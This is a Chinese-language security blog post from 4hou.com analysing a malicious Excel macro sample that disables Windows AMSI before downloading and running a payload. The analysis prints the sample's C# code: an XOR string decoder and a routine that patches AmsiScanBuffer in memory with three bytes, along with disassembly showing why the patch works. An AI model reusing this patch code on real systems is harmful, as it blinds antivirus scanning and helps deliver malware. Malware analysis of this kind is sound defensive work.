恶意软件如何绕过AMSI检测以逃避检测 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

恶意软件如何绕过AMSI检测以逃避检测

41yf1sh 系统安全 2019-03-21 10:35:45
248675
收藏

导语:在本文中,我将详细介绍一种禁用反恶意软件扫描接口(AMSI)​的技术。这是在Microsoft Windows中的一个内部功能,用于使用系统上安装的反恶意软件对数据进行扫描。

前言

在本文中,我将详细介绍一种禁用反恶意软件扫描接口(AMSI)的技术。这是在Microsoft Windows中的一个内部功能,用于使用系统上安装的反恶意软件对数据进行扫描。我们举例说明,该特性允许应用程序在将数据写入文件之前,请求扫描下载的数据。如果一个恶意软件可以禁用此接口,那么它就可以逃避反病毒检测。在本文中,我们将对从客户那里拿到的一个恶意样本进行详细分析,并看看样本是如何绕过AMSI的。

恶意软件概述

在RTF格式的Excel文档中,都包含经过模糊后的宏:

1.png

通过阅读这个混淆后的代码,我们发现它以混淆后的形式,运行一个位于单元格G135内的命令:

2.png

经过这些多层次的混淆后,Excel文档宏最终会启动PowerShell。由于我们使用工具监控了隔离的虚拟机内部发生的活动,因此我们无需手动对这些层进行反模糊处理。经过对恶意文档威胁进行分析后,我们得到了PowerShell将要执行的完整脚本:

3.png

最终,该脚本尝试从被攻陷的网站下载可执行文件,然后执行该文件,这是一种非常常见的技术。该脚本甚至将请求中用户代理(User-agent)设置为明显无意义的字符串,被感染的服务器可能会利用该字符串来定制下载的Payload,或者使用它来跟踪不同的被感染主机。

禁用反病毒API

然而,在我们所分析的样本中,使用了一个不常见的技术。PowerShell脚本首先将一些经过XOR异或混淆的Base16编码文本转换为C#脚本,该脚本会禁用某些Microsoft反病毒API,以避免文件在下载时被扫描。

这一过程使用PowerShell中的Add-Type命令加载一些C#代码来实现此目的。加载这一C#代码后,PowerShell实例调用名为“o15b72”的类上的“rbc5492”方法,然后休眠1秒,之后下载并运行Payload以进行下一阶段的攻击。

C#代码使用以下的本地API:

     [DllImport("kernel32")]
     public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
     [DllImport("kernel32")]
     public static extern IntPtr LoadLibrary(string name);
     [DllImport("kernel32")]
     public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint
flNewProtect, out uint lpflOldProtect);
     [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
     static extern void MoveMemory(IntPtr dest, IntPtr src, int size);

我们最后再来分析“rbc5492”方法,该类中唯一存在的另一种方法是“v4bad81”:

       public static string v4bad81(string strIn)
{
          string rbf4534 = "a25baab";
     string m941db = String.Empty;
     for (int i = 0; i < strIn.Length; i += 2)
     {
       byte b72323 = Convert.ToByte(strIn.Substring(i, 2), 16);
       m941db += (char)(b72323 ^ rbf4534[(i / 2) % rbf4534.Length]);
     }
 
     return m941db;
}

在该方法的代码中,存在一些奇怪的缩进格式,可能表明恶意软件作者从其他地方复制了一些代码,或者没有对编写的代码进行良好的代码审查。

这个“v4bad81”方法,将接受一个字符串作为输入,对其执行一些解码,然后返回该字符串。

它会逐步遍历输入的字符串,每次2个字符,并使用Convert.ToByte以十六进制对其进行解码,具体是由第二个参数的16和字符串中的数字来定义的。然后,恶意软件会获取该值,并使用从“rbf4534”中提取的值对其进行异或,并将其附加到最终输出字符串。

混淆特定字符串

有趣的是,这种基于XOR的混淆方法与用于混淆C#代码的方法完全相同,甚至使用与PowerShell函数相同的密钥和方法名称。

接下来,就很自然把我们引导了“rbc5492”方法,我们将其拆解成几个部分,并逐一进行分析:

public static int rbc5492()
{
     IntPtr k98a91f = LoadLibrary(v4bad81("005f460b4f050e0d"));
     if (k98a91f == IntPtr.Zero)
     {
       return 1;
     }

这部分代码将加载由模糊字符串“005f460b4f050e0d”描述的库。使用反混淆方法对其进行处理,我们将得到“amsi.dll”。因此,该代码只是加载反恶意软件扫描接口(AMSI)DLL的句柄。

     IntPtr wc852 = GetProcAddress(k98a91f, v4bad81("205f460b3202030f704004070410"));
     if (wc852 == IntPtr.Zero)
     {
     return 1;
     }

然后,代码的下一部分使用该DLL句柄在混淆的字符串“205f460b3202030f704004070410”中加载函数的地址,该字符串去混淆后的原文为“AmsiScanBuffer”。此函数用于扫描缓冲区中的恶意软件内容。

     UIntPtr dwSize = (UIntPtr)5;
     uint Zero = 0;
     if (!VirtualProtect(wc852, dwSize, 0x40, out Zero))
     {
     return 1;
     }

然后,下一部分代码会将“AmsiScanBuffer”代码的内存权限更改为0x40,即PAGE_EXECUTE_READWRITE。这是为了允许恶意软件修改代码。

       Byte[] Patch = { 0x31, 0xff, 0x90 };
       IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
       Marshal.Copy(Patch, 0, unmanagedPointer, 3);
       MoveMemory(new IntPtr(wc852.ToInt64() + 0x001b), unmanagedPointer, 3);
       return 0;
     }

这会将三个字节的内存复制到“AmsiScanBuffer”函数的0x1b(十进制为27)的偏移量中。执行此操作后,将会返回,这将返回到PowerShell脚本,该脚本会在下载之前休眠1秒钟。

那么,到AmsiScanBuffer函数的27个字节是什么?在64位 Windows 10 Redstone 4系统中,如下所示,修改后的指令在00007fff`f479243b处以红色突出显示(位于倒数第2行):

amsi!AmsiScanBuffer:
00007fff`f4792420 4c8bdc           mov     r11, rsp
00007fff`f4792423 49895b08         mov     qword ptr [r11+8], rbx
00007fff`f4792427 49896b10         mov     qword ptr [r11+10h], rbp
00007fff`f479242b 49897318         mov     qword ptr [r11+18h], rsi
00007fff`f479242f 57               push    rdi
00007fff`f4792430 4156             push    r14
00007fff`f4792432 4157             push    r15
00007fff`f4792434 4883ec70         sub     rsp, 70h
00007fff`f4792438 4d8bf9           mov     r15, r9
00007fff`f479243b 418bf8           mov     edi, r8d <- Modified instruction
00007fff`f479243e 488bf2           mov     rsi, rdx
…

写入内存的三个字节会将修改后的指令转换为两条指令:

00007fff`f479243b 31ff             xor     edi, edi
00007fff`f479243d 90               nop

在这里,只需将edi设置为0,即可替换将r8d复制到edi的指令。这是因为,r8d在x64调用约定(Calling Convention)中保存了第三个函数参数。AmsiScanBuffer函数的原型是:

     HRESULT AmsiScanBuffer(
     HAMSICONTEXT amsiContext,
     PVOID        buffer,
     ULONG        length,
     LPCWSTR      contentName,
     HAMSISESSION amsiSession,
     AMSI_RESULT  *result
);

通过确保第三个参数始终被视为0,该过程使得AmsiScanBuffer无效,因为它会始终认为正在扫描长度为0的缓冲区。由于这一修补过程是在PowerShell中完成的,因此结果是,PowerShell进程(并且只有该进程)对AmsiScanBuffer进行的任何调用都无效。这可以防止PowerShell将下载的代码传递给反恶意软件工具进行扫描,从而允许将恶意数据写入文件。

我们推测,PowerShell在这一C#代码之后执行1秒睡眠的原因,是为了确保刷新CPU指令缓存,后者是修改代码的过程中必须要执行的操作。但是,如果要实现这样的目的,我们不清楚为什么恶意软件没有选择使用FlushInstructionCache

总结

其他的一些研究人员发现,禁用AMSI是一些漏洞利用工具包中提供的功能,因此我们可能会在野外观察到一些恶意软件中具有这一特性,并会执行禁用AMSI的操作。然而,在这一样本中所使用的C#代码与去年发布的概念验证代码非常相似,但这个样本中增加了对库名称和函数名称的混淆。

借助一些安全平台,可以使用轻量级虚拟机实现恶意软件的隔离,并且可以从外部查看该虚拟机,此类技术可以向用户提供检测或保护。

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务